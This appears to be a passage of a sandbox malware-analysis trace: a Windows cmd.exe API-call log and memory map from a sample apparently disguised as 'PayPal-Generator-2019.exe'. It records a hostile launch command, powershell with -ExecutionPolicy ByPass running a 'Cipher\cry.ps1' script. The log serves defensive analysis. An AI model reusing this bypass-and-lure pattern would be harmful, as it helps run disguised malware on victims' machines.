[0050.684] _wcsicmp (_String1="powershell", _String2="TITLE") returned -4 [0050.684] _wcsicmp (_String1="powershell", _String2="START") returned -3 [0050.684] _wcsicmp (_String1="powershell", _String2="DPATH") returned 12 [0050.684] _wcsicmp (_String1="powershell", _String2="KEYS") returned 5 [0050.684] _wcsicmp (_String1="powershell", _String2="MOVE") returned 3 [0050.684] _wcsicmp (_String1="powershell", _String2="PUSHD") returned -6 [0050.684] _wcsicmp (_String1="powershell", _String2="POPD") returned 7 [0050.684] _wcsicmp (_String1="powershell", _String2="ASSOC") returned 15 [0050.684] _wcsicmp (_String1="powershell", _String2="FTYPE") returned 10 [0050.684] _wcsicmp (_String1="powershell", _String2="BREAK") returned 14 [0050.684] _wcsicmp (_String1="powershell", _String2="COLOR") returned 13 [0050.684] _wcsicmp (_String1="powershell", _String2="MKLINK") returned 3 [0050.684] _wcsicmp (_String1="powershell", _String2="FOR") returned 10 [0050.684] _wcsicmp (_String1="powershell", _String2="IF") returned 7 [0050.684] _wcsicmp (_String1="powershell", _String2="REM") returned -2 [0050.684] _wcsnicmp (_String1="powe", _String2="cmd ", _MaxCount=0x4) returned 13 [0050.684] SetErrorMode (uMode=0x0) returned 0x0 [0050.684] SetErrorMode (uMode=0x1) returned 0x0 [0050.684] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0xda85a8, lpFilePart=0xcdeeec | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0xcdeeec*="Desktop") returned 0x1d [0050.684] SetErrorMode (uMode=0x0) returned 0x1 [0050.684] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x105e4a0, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x87 [0050.684] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0050.685] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x105e4a0, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0050.685] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0050.685] FindFirstFileExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\powershell.*", fInfoLevelId=0x1, lpFindFileData=0xcdec78, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xcdec78) returned 0xffffffff [0050.685] GetLastError () returned 0x2 [0050.685] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0050.685] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\powershell.*", fInfoLevelId=0x1, lpFindFileData=0xcdec78, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xcdec78) returned 0xffffffff [0050.685] GetLastError () returned 0x2 [0050.686] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0050.686] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\powershell.*", fInfoLevelId=0x1, lpFindFileData=0xcdec78, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xcdec78) returned 0xffffffff [0050.686] GetLastError () returned 0x2 [0050.686] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0050.686] FindFirstFileExW (in: lpFileName="C:\\Windows\\powershell.*", fInfoLevelId=0x1, lpFindFileData=0xcdec78, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xcdec78) returned 0xffffffff [0050.686] GetLastError () returned 0x2 [0050.686] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0050.686] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\powershell.*", fInfoLevelId=0x1, lpFindFileData=0xcdec78, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xcdec78) returned 0xffffffff [0050.714] GetLastError () returned 0x2 [0050.714] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0050.714] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.*", fInfoLevelId=0x1, lpFindFileData=0xcdec78, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xcdec78) returned 0xdaa590 [0050.714] FindClose (in: hFindFile=0xdaa590 | out: hFindFile=0xdaa590) returned 1 [0050.714] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.COM", fInfoLevelId=0x1, lpFindFileData=0xcdec78, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xcdec78) returned 0xffffffff [0050.715] GetLastError () returned 0x2 [0050.715] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.EXE", fInfoLevelId=0x1, lpFindFileData=0xcdec78, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xcdec78) returned 0xdaa590 [0050.715] FindClose (in: hFindFile=0xdaa590 | out: hFindFile=0xdaa590) returned 1 [0050.715] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0050.715] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0050.715] GetConsoleTitleW (in: lpConsoleTitle=0xcdf16c, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0050.717] InitializeProcThreadAttributeList (in: lpAttributeList=0xcdf098, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xcdf07c | out: lpAttributeList=0xcdf098, lpSize=0xcdf07c) returned 1 [0050.717] UpdateProcThreadAttribute (in: lpAttributeList=0xcdf098, dwFlags=0x0, Attribute=0x60001, lpValue=0xcdf084, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xcdf098, lpPreviousValue=0x0) returned 1 [0050.717] GetStartupInfoW (in: lpStartupInfo=0xcdf0d0 | out: lpStartupInfo=0xcdf0d0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x13, lpReserved2=0xda1848, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0050.717] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0050.717] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0050.717] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0050.717] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0050.717] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0050.717] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0050.717] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0050.717] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0050.717] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0050.717] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0050.717] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0050.717] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0050.717] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0050.717] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0050.717] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0050.717] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0050.717] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0050.717] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0050.717] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0050.717] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0050.717] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0050.718] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0050.718] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0050.718] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0050.718] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0050.718] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0050.718] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0050.718] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0050.718] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0050.718] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0050.718] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0050.718] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0050.718] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0050.718] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0050.718] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0050.718] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0050.718] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0050.718] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0050.718] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0050.718] lstrcmpW (lpString1="\\powershell.exe", lpString2="\\XCOPY.EXE") returned -1 [0050.718] CreateProcessW (in: lpApplicationName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpCommandLine="powershell -ExecutionPolicy ByPass -File C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1 ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpStartupInfo=0xcdf020*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="powershell -ExecutionPolicy ByPass -File C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1 ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xcdf06c | out: lpCommandLine="powershell -ExecutionPolicy ByPass -File C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1 ", lpProcessInformation=0xcdf06c*(hProcess=0xa4, hThread=0xa8, dwProcessId=0x51c, dwThreadId=0xb64)) returned 1 [0051.038] CloseHandle (hObject=0xa8) returned 1 [0051.038] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0051.038] GetEnvironmentStringsW () returned 0xdac7f8* [0051.038] FreeEnvironmentStringsA (penv="=") returned 1 [0051.038] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0xffffffff) returned 0x0 [0145.704] GetExitCodeProcess (in: hProcess=0xa4, lpExitCode=0xcdf004 | out: lpExitCode=0xcdf004*=0x0) returned 1 [0145.704] CloseHandle (hObject=0xa4) returned 1 [0145.704] _vsnwprintf (in: _Buffer=0xcdf0ec, _BufferCount=0x13, _Format="%08X", _ArgList=0xcdf00c | out: _Buffer="00000000") returned 8 [0145.704] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0145.704] GetEnvironmentStringsW () returned 0xdac7f8* [0145.704] FreeEnvironmentStringsA (penv="=") returned 1 [0145.704] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0145.704] GetEnvironmentStringsW () returned 0xdac7f8* [0145.705] FreeEnvironmentStringsA (penv="=") returned 1 [0145.705] DeleteProcThreadAttributeList (in: lpAttributeList=0xcdf098 | out: lpAttributeList=0xcdf098) [0145.705] GetConsoleTitleW (in: lpConsoleTitle=0xcdf3e0, nSize=0x104 | out: lpConsoleTitle="Administrator: Windows PowerShell") returned 0x21 [0145.705] _wcsicmp (_String1="exit", _String2="DIR") returned 1 [0145.705] _wcsicmp (_String1="exit", _String2="ERASE") returned 6 [0145.705] _wcsicmp (_String1="exit", _String2="DEL") returned 1 [0145.705] _wcsicmp (_String1="exit", _String2="TYPE") returned -15 [0145.705] _wcsicmp (_String1="exit", _String2="COPY") returned 2 [0145.705] _wcsicmp (_String1="exit", _String2="CD") returned 2 [0145.705] _wcsicmp (_String1="exit", _String2="CHDIR") returned 2 [0145.705] _wcsicmp (_String1="exit", _String2="RENAME") returned -13 [0145.705] _wcsicmp (_String1="exit", _String2="REN") returned -13 [0145.705] _wcsicmp (_String1="exit", _String2="ECHO") returned 21 [0145.705] _wcsicmp (_String1="exit", _String2="SET") returned -14 [0145.705] _wcsicmp (_String1="exit", _String2="PAUSE") returned -11 [0145.705] _wcsicmp (_String1="exit", _String2="DATE") returned 1 [0145.705] _wcsicmp (_String1="exit", _String2="TIME") returned -15 [0145.705] _wcsicmp (_String1="exit", _String2="PROMPT") returned -11 [0145.705] _wcsicmp (_String1="exit", _String2="MD") returned -8 [0145.705] _wcsicmp (_String1="exit", _String2="MKDIR") returned -8 [0145.705] _wcsicmp (_String1="exit", _String2="RD") returned -13 [0145.705] _wcsicmp (_String1="exit", _String2="RMDIR") returned -13 [0145.705] _wcsicmp (_String1="exit", _String2="PATH") returned -11 [0145.705] _wcsicmp (_String1="exit", _String2="GOTO") returned -2 [0145.705] _wcsicmp (_String1="exit", _String2="SHIFT") returned -14 [0145.706] _wcsicmp (_String1="exit", _String2="CLS") returned 2 [0145.706] _wcsicmp (_String1="exit", _String2="CALL") returned 2 [0145.706] _wcsicmp (_String1="exit", _String2="VERIFY") returned -17 [0145.706] _wcsicmp (_String1="exit", _String2="VER") returned -17 [0145.706] _wcsicmp (_String1="exit", _String2="VOL") returned -17 [0145.706] _wcsicmp (_String1="exit", _String2="EXIT") returned 0 [0145.706] exit (_Code=0) Thread: id = 12 os_tid = 0xcfc Process: id = "6" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x2a9bb000" os_pid = "0x98c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xcf4" cmd_line = "cmd.exe /c cd C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher " cur_dir = "C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00013da5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 371 start_va = 0xc50000 end_va = 0xc6ffff entry_point = 0x0 region_type = private name = "private_0x0000000000c50000" filename = "" Region: id = 372 start_va = 0xc70000 end_va = 0xc71fff entry_point = 0x0 region_type = private name = "private_0x0000000000c70000" filename = "" Region: id = 373 start_va = 0xc80000 end_va = 0xc93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c80000" filename = "" Region: id = 374 start_va = 0xca0000 end_va = 0xcdffff entry_point = 0x0 region_type = private name = "private_0x0000000000ca0000" filename = "" Region: id = 375 start_va = 0xce0000 end_va = 0xddffff entry_point = 0x0 region_type = private name = "private_0x0000000000ce0000" filename = "" Region: id = 376 start_va = 0xde0000 end_va = 0xde3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000de0000" filename = "" Region: id = 377 start_va = 0xdf0000 end_va = 0xdf0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000df0000" filename = "" Region: id = 378 start_va = 0xe00000 end_va = 0xe01fff entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 379 start_va = 0x1030000 end_va = 0x107ffff entry_point = 0x1030000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe") Region: id = 380 start_va = 0x1080000 end_va = 0x507ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001080000" filename = "" Region: id = 381 start_va = 0x776b0000 end_va = 0x77828fff entry_point = 0x776b0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 382 start_va = 0x7e700000 end_va = 0x7e722fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007e700000" filename = "" Region: id = 383 start_va = 0x7e725000 end_va = 0x7e725fff entry_point = 0x0 region_type = private name = "private_0x000000007e725000" filename = "" Region: id = 384 start_va = 0x7e726000 end_va = 0x7e726fff entry_point = 0x0 region_type = private name = "private_0x000000007e726000" filename = "" Region: id = 385 start_va = 0x7e72d000 end_va = 0x7e72ffff entry_point = 0x0 region_type = private name = "private_0x000000007e72d000" filename = "" Region: id = 386 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 387 start_va = 0x7fff0000 end_va = 0x7dfc57b4ffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 388 start_va = 0x7dfc57b50000 end_va = 0x7ffc57b4ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007dfc57b50000" filename = "" Region: id = 389 start_va = 0x7ffc57b50000 end_va = 0x7ffc57d11fff entry_point = 0x7ffc57b50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 390 start_va = 0x7ffc57d12000 end_va = 0x7ffffffeffff entry_point = 0x0 region_type = private name = "private_0x00007ffc57d12000" filename = "" Region: id = 391 start_va = 0xf30000 end_va = 0xf3ffff entry_point = 0x0 region_type = private name = "private_0x0000000000f30000" filename = "" Region: id = 392 start_va = 0x5bab0000 end_va = 0x5bb22fff entry_point = 0x5bab0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 393 start_va = 0x5bb30000 end_va = 0x5bb7efff entry_point = 0x5bb30000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 394 start_va = 0x5baa0000 end_va = 0x5baa7fff entry_point = 0x5baa0000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 395 start_va = 0xc50000 end_va = 0xc5ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c50000" filename = "" Region: id = 396 start_va = 0xe10000 end_va = 0xecdfff entry_point = 0xe10000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 397 start_va = 0xed0000 end_va = 0xf0ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ed0000" filename = "" Region: id = 398 start_va = 0x5080000 end_va = 0x517ffff entry_point = 0x0 region_type = private name = "private_0x0000000005080000" filename = "" Region: id = 399 start_va = 0x5220000 end_va = 0x531ffff entry_point = 0x0 region_type = private name = "private_0x0000000005220000" filename = "" Region: id = 400 start_va = 0x5430000 end_va = 0x543ffff entry_point = 0x0 region_type = private name = "private_0x0000000005430000" filename = "" Region: id = 401 start_va = 0x74f40000 end_va = 0x7502ffff entry_point = 0x74f40000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 402 start_va = 0x75190000 end_va = 0x75305fff entry_point = 0x75190000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 403 start_va = 0x76f20000 end_va = 0x76fddfff entry_point = 0x76f20000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 404 start_va = 0x7e600000 end_va = 0x7e6fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007e600000" filename = "" Region: id = 405 start_va = 0x7e72a000 end_va = 0x7e72cfff entry_point = 0x0 region_type = private name = "private_0x000000007e72a000" filename = "" Region: id = 406 start_va = 0xc60000 end_va = 0xc63fff entry_point = 0x0 region_type = private name = "private_0x0000000000c60000" filename = "" Region: id = 407 start_va = 0xc70000 end_va = 0xc73fff entry_point = 0x0 region_type = private name = "private_0x0000000000c70000" filename = "" Thread: id = 13 os_tid = 0xa44 [0049.927] GetModuleHandleA (lpModuleName=0x0) returned 0x1030000 [0049.928] __set_app_type (_Type=0x1) [0049.928] __p__fmode () returned 0x76fd4d6c [0049.928] __p__commode () returned 0x76fd5b1c [0049.928] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x10436e0) returned 0x0 [0049.928] __getmainargs (in: _Argc=0x10550e8, _Argv=0x10550ec, _Env=0x10550f0, _DoWildCard=0, _StartInfo=0x10550fc | out: _Argc=0x10550e8, _Argv=0x10550ec, _Env=0x10550f0) returned 0 [0049.929] GetCurrentThreadId () returned 0xa44 [0049.929] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xa44) returned 0x84 [0049.929] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74f40000 [0049.929] GetProcAddress (hModule=0x74f40000, lpProcName="SetThreadUILanguage") returned 0x74f82780 [0049.929] SetThreadUILanguage (LangId=0x0) returned 0x409 [0050.055] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0050.055] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xddf73c | out: phkResult=0xddf73c*=0x0) returned 0x2 [0050.055] VirtualQuery (in: lpAddress=0xddf743, lpBuffer=0xddf6f4, dwLength=0x1c | out: lpBuffer=0xddf6f4*(BaseAddress=0xddf000, AllocationBase=0xce0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0050.055] VirtualQuery (in: lpAddress=0xce0000, lpBuffer=0xddf6f4, dwLength=0x1c | out: lpBuffer=0xddf6f4*(BaseAddress=0xce0000, AllocationBase=0xce0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0050.055] VirtualQuery (in: lpAddress=0xce1000, lpBuffer=0xddf6f4, dwLength=0x1c | out: lpBuffer=0xddf6f4*(BaseAddress=0xce1000, AllocationBase=0xce0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0050.055] VirtualQuery (in: lpAddress=0xce3000, lpBuffer=0xddf6f4, dwLength=0x1c | out: lpBuffer=0xddf6f4*(BaseAddress=0xce3000, AllocationBase=0xce0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0050.055] VirtualQuery (in: lpAddress=0xde0000, lpBuffer=0xddf6f4, dwLength=0x1c | out: lpBuffer=0xddf6f4*(BaseAddress=0xde0000, AllocationBase=0xde0000, AllocationProtect=0x2, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0050.055] GetConsoleOutputCP () returned 0x1b5 [0050.065] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x105e460 | out: lpCPInfo=0x105e460) returned 1 [0050.065] SetConsoleCtrlHandler (HandlerRoutine=0x104f980, Add=1) returned 1 [0050.065] _get_osfhandle (_FileHandle=1) returned 0x3c [0050.065] SetConsoleMode (hConsoleHandle=0x3c, dwMode=0x0) returned 1 [0050.076] _get_osfhandle (_FileHandle=1) returned 0x3c [0050.076] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0x105e40c | out: lpMode=0x105e40c) returned 1 [0050.091] _get_osfhandle (_FileHandle=1) returned 0x3c [0050.091] SetConsoleMode (hConsoleHandle=0x3c, dwMode=0x3) returned 1 [0050.295] _get_osfhandle (_FileHandle=0) returned 0x38 [0050.295] GetConsoleMode (in: hConsoleHandle=0x38, lpMode=0x105e408 | out: lpMode=0x105e408) returned 1 [0050.384] GetEnvironmentStringsW () returned 0x5227f30* [0050.384] FreeEnvironmentStringsA (penv="=") returned 1 [0050.384] GetEnvironmentStringsW () returned 0x5227f30* [0050.385] FreeEnvironmentStringsA (penv="=") returned 1 [0050.385] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xdde6a0 | out: phkResult=0xdde6a0*=0x94) returned 0x0 [0050.385] RegQueryValueExW (in: hKey=0x94, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xdde6a4, lpData=0xdde6ac, lpcbData=0xdde6a8*=0x1000 | out: lpType=0xdde6a4*=0x0, lpData=0xdde6ac*=0xe8, lpcbData=0xdde6a8*=0x1000) returned 0x2 [0050.385] RegQueryValueExW (in: hKey=0x94, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xdde6a4, lpData=0xdde6ac, lpcbData=0xdde6a8*=0x1000 | out: lpType=0xdde6a4*=0x4, lpData=0xdde6ac*=0x1, lpcbData=0xdde6a8*=0x4) returned 0x0 [0050.385] RegQueryValueExW (in: hKey=0x94, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xdde6a4, lpData=0xdde6ac, lpcbData=0xdde6a8*=0x1000 | out: lpType=0xdde6a4*=0x0, lpData=0xdde6ac*=0x1, lpcbData=0xdde6a8*=0x1000) returned 0x2 [0050.385] RegQueryValueExW (in: hKey=0x94, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xdde6a4, lpData=0xdde6ac, lpcbData=0xdde6a8*=0x1000 | out: lpType=0xdde6a4*=0x4, lpData=0xdde6ac*=0x0, lpcbData=0xdde6a8*=0x4) returned 0x0 [0050.385] RegQueryValueExW (in: hKey=0x94, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xdde6a4, lpData=0xdde6ac, lpcbData=0xdde6a8*=0x1000 | out: lpType=0xdde6a4*=0x4, lpData=0xdde6ac*=0x40, lpcbData=0xdde6a8*=0x4) returned 0x0 [0050.385] RegQueryValueExW (in: hKey=0x94, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xdde6a4, lpData=0xdde6ac, lpcbData=0xdde6a8*=0x1000 | out: lpType=0xdde6a4*=0x4, lpData=0xdde6ac*=0x40, lpcbData=0xdde6a8*=0x4) returned 0x0 [0050.385] RegQueryValueExW (in: hKey=0x94, lpValueName="AutoRun", lpReserved=0x0, lpType=0xdde6a4, lpData=0xdde6ac, lpcbData=0xdde6a8*=0x1000 | out: lpType=0xdde6a4*=0x0, lpData=0xdde6ac*=0x40, lpcbData=0xdde6a8*=0x1000) returned 0x2 [0050.385] RegCloseKey (hKey=0x94) returned 0x0 [0050.385] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xdde6a0 | out: phkResult=0xdde6a0*=0x94) returned 0x0 [0050.385] RegQueryValueExW (in: hKey=0x94, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xdde6a4, 